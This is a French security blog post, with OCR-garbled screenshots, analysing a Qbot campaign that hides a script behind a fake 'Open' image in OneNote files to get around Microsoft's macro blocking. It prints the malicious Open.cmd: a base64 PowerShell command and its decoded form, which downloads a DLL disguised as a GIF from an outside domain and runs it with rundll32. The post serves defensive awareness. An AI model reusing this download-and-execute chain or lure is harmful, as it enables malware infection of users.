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Il y a tout juste un an, Microsoft nous annoncait une nouvelle mesure visant a éviter que les utilisateurs de sa suite
Office continuent de se faire piéger par des documents avec des macros [1]. Dans ce but Microsoft a décidé pour
tout fichier dont le dernier enregistrement a été fait a partir d’une autre machine que celle sur lequel il est ouvert,
de faire disparaitre son petit bandeau jaune avec un message d’avertissement et un bouton « Activer le contenu »
sur lequel les victimes étaient bien évidemment invitées a cliquer via une notice au format image incluse dans le

fichier par les attaquants :

- Eucel (I::chec de I'activation d

Fichier Accueil Insertion Mise en page Formules Données Révision Affichage Q Dites-nous ce gUE VOUS VO
“D gé i Calibri T = = = ® - %Renvoyerélaligne automnatiquement | Standard
Covller o G I 5 -~ H - A- === € 3= = Fusionneretcentrer - L2 . o5 000 50
Presse-papiers a Paolice Pl Alignement Fa Mombre
1 AVERTISSEMENT DE SECURITE Les macros ont &€ désactivées, _ Activer le contenu

o This document protected by

Microsoft Office

" | TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:

15

N

17| * Select Enable Editing

12

19

20 il @ PROTECTED VIEW Da carelud - fies froem the Internet can contain virused. Unleds you need to edit, it's safler 10 stay in Protected View Enable Editing
o

22 |

;i * |n the Microsoft Office Security Option dialog box, select Enable Content

il @ SECURITY WARNING Macros have been disabled Erabile Content

o 0->L if you are using a mobile device, try opening the file using the full office desktop app.

Sheet *

Au profit d’un nouveau bandeau, rouge cette fois-ci indiquant que les macros sont bloquées car le fichier provient

d’une source non approuvée :
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Enregistrement automatique (@ ~ fichier_macros.xlsm v £ Rechercher
Fichier Accueil Insertion Mise en page Formules Données Révision Affichage Automate Aide
fﬁ g(a Calibri R = = |£| ,597 i EE’ Standard - [EH Mise en forme conditionnelle ~
e [ ~ g v 06 om0 @Mettresausforme de tableau ~
aller — e T =
. S I Bk | &e as === = i e {7 Styles de cellules ~
Presse-papiers [N Palice ] Alignement ] MNombre [ Styles
@ RISQUE DE SECURITE Microsoft a blogué I'exécution des macros, car la source de ce fichier n'est pas approuvée, | En savair plus

Pour approuver le fichier, I’utilisateur est dans 1’obligation de fermer le document, de se rendre dans les propriétés

de ce dernier et de cocher la case « Débloquer » :

I:I_ Proprietés de: fichier_macros.xlsm X

Général Sécuité  Détails  Versions précédentes

@E- |ﬁchier_macms xlsm

Type du fichier : Feuille de calcul Microsoft Excel prenant en charge les macros
S'ouvre avec K Excel Modifier...
Emplacement : C:xUsers'Chares \Downloads

Taille : 2.25 Mo (2 364 079 octets)

Sur disque : 2,26 Mo (2 371 584 octets)

Créele : mercredi 8 fevrer 2023, 16:46:45

Modifié le : mercredi 8 février 2023, 16:46:52

Demier accesle : Avjourd hui 11 février 2023, il y a 2 minutes

Attributs [ lecturs seule [ Caché

Sécurté Ce fichier provient d'un autre ardinateur et peut
éventuellement &re blogué pour protéger cet ordinateur.

Annuler Appliquer

La manipulation est déja plus complexe a faire réaliser aux victimes d’un message de phishing, ce qui semble
pénaliser les attaquants qui, vous vous en doutez, on trouvé un moyen de rentrer par la fenétre apres s’étre fait

sortir par la porte, le comble dans un systeme Windows.

D’apres un récent article publié sur le site de Sophos [2], une nouvelle campagne de distribution de Qbot

s’appuyant sur des fichiers OneNote (avec une extension .one) aurait démarrée le 31 janvier dernier.

A partir d’un échantillon ressemblant a celui qui est présenté dans 1’article, méme s’il présente quelques
différences, il est assez intéressant d’observer la facon de procéder, qui est au final, encore plus simpliste que celle

consistant a intégrer des macros dans un fichier Word ou Excel.
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®

Fichier Accueil Insertion Dessiner Historique Révision

Affichage
L} Sections ouvertes =

Sans titre - OneNote (Echec de 'activation du produit)

gbot_sample

Rechercher (Ctri+E) P~

» (%) Ajouter une pa

— Sanstitre

This document contains attachments from the cloud, to receive them,
double click "open"

OneNote

stay in the groove with Microsoft Office 365
integration with Microsoft OneNote,

Copyright © 2023 Microsoft. All rights reserved.

En regardant de plus prés, le « bouton Open » qui n’en est pas un, ne pointe pas vers un lien hypertexte, mais est
juste un fichier GIF superposé a un script directement intégré au document lui-méme :

G

This document contains attachments from the cloud, to receive them,
double click "open"

Fichier : Open.cmd
| Derniére modification :
10/02/2023, 23:11
Inséré & partir de:
Zh\buildvone\Open.cmd
Taille: 400 octet(s)

Il est assez rigolo de voir comment il est simple de déplacer les éléments intégrés au fichier et de voir apparaitre le
script caché derriére cette image :
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This document contains attachments from the cloud, to receive them,
double click "open"

En enregistrant les éléments graphiques présents dans le fichier, on constate que les noms proposés par défaut sont

en cyrillique :

Fichier Accueil Insertion Dessiner Historique Révision Affichage

L} Sections ouvertes = [ g enregistrer sous

x
4 M » CePC > Disquelocal (C) » Utilisateurs > charles » Bureau v|@| | Rechercher dans : Bureau P
Organiser = Mouveau dossier = - 9
# Accés rapide Aucun élément ne comrespond a votre recherche,
[ Bureau »
‘ Téléchargement: #
[ Documents -
[&=] Images -
Thi Jﬁ Musique
B vidéos
@ Microsoft OneMote
@ OneDrive
O cePC
o Réseau
MNom de fichier : | =GR RIS ~
Type: GIF (*.gif) ~
A Masquer les dossiers Qutils Annuler

icrosoft Office 365
OneNote

Copyright @ 2023 Microsoft. All rights reserved.

En faisant appel a un traducteur en ligne, on n’apprend pas grand-chose du contenu traduit, mais la langue utilisée

est confirmée :
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Frangais V' formel/informel v Glossaire

N

Russe (langue détectée) vV

Be3bIMSAHHbLIA PUCYHOK Dessin sans titre

Autres solutions :

Untitled drawing

Untitled drawing (dessin sans titre)

En extrayant le script du fichier, on constate qu’il utilise Powershell pour créer un nouveau script dans le
répertoire C:\programdata\ a partir d’un contenu encodé en base 64 et 1’exécuter dans la foulée :

1 powershell.exe
[System.Text.Encoding] : :ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCgOKcG93ZXIzaGVshCBI-

bnZva2utVv2viumVxdwVzdCAtVVIIIGhOdHBZ0i8vYXIhZGNhcGLOYWwWuY29tLO1wRDhZay8wMCS5naWYgLU91dEZpbGUgQzpccHIvZ3IhbWRhdGFc-

YmlnLmpwZwOKY2FsbhCBydSUxbDMyIEM6XHByb2dyYW1kYXRhXGIpZy5qcGesRGxsUmMVnaXNOZXITZXI2ZXINCgOKZXhpdABK')) > C:-
\ProgramData\in.cmd&&start /min C:\ProgramData\in.cmd ndl

En décodant le contenu, cela nous permet de connaitre I’étape suivante :

start: 28 ongen: 240 =
i 222 +oO=3 § =

Recipe Bl Input i e Mpeen

o n DQPAZWNobyBvZmYNCgaK cG937X1zaGVsbCBIbnZva2UtV2ViUmVxdWVzdCAtVWIIIGhadHBZ018vYXThZGNhcG1eYiWUY20tLB1wRDhZay8wMC SnakivgLUI1dEZ
FHoniEaieat pbGUEQzpccHIVZ3IhbWRhAGF cYmlnLmpwZweK Y 2F sbCBydSUXbDMyIEMGXHBYb2dy YW1kYXRhXGIpZy5qcGe sRGXsUMVNaXNeZXITZXI 2ZXINCgeKZXhpdAek
Alphabet
A-Za-z0-9+/= -

Remove non-alphabet chars

start: 183 time: sms
end: 183 length: 13 [ |_D m L
©  lines: =

Qutput length: ©  lines:
@echo off

powershell Invoke-WebRequest -URI https://aradcapital.com/MpD8Yk/@®.gif -OutFile C:\programdata\big.jpg
call ru%1132 C:\programdata\big.jpg,DllRegisterServer

exit

Le nouveau script va donc télécharger a I’aide de Powershell 1a encore, un fichier avec une extension GIF qu’il

enregistre sur la machine avec une extension JPG, mais qui semble étre en réalité une DLL qu’il va exécuter.

La suite vous la connaissez, connexion a un serveur de commande et de controle et les attaquants ont un pied dans

le systeme d’information.

La méthode est simple, rapide et efficace. C’est bien pensé, c’est propre et c’est un joli pied de nez aux contre-
mesures mises en place par Microsoft. J’attends avec impatience la solution d’atténuation proposée. Si c’est pour
nous dire : « dites a vos collaborateurs de ne pas ouvrir les piéces jointes ou fichiers a télécharger via un lien en

provenance d’un message dont I’expéditeur n’est pas connu », comment dire, on fait déja...

Elle remonte a quand votre derniére campagne de sensibilisation des utilisateurs ?
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[1] /article/4581/que-nous-annonce-microsoft-en-2022-pour-securiser-ses-produits.html

[2] https://mews.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/
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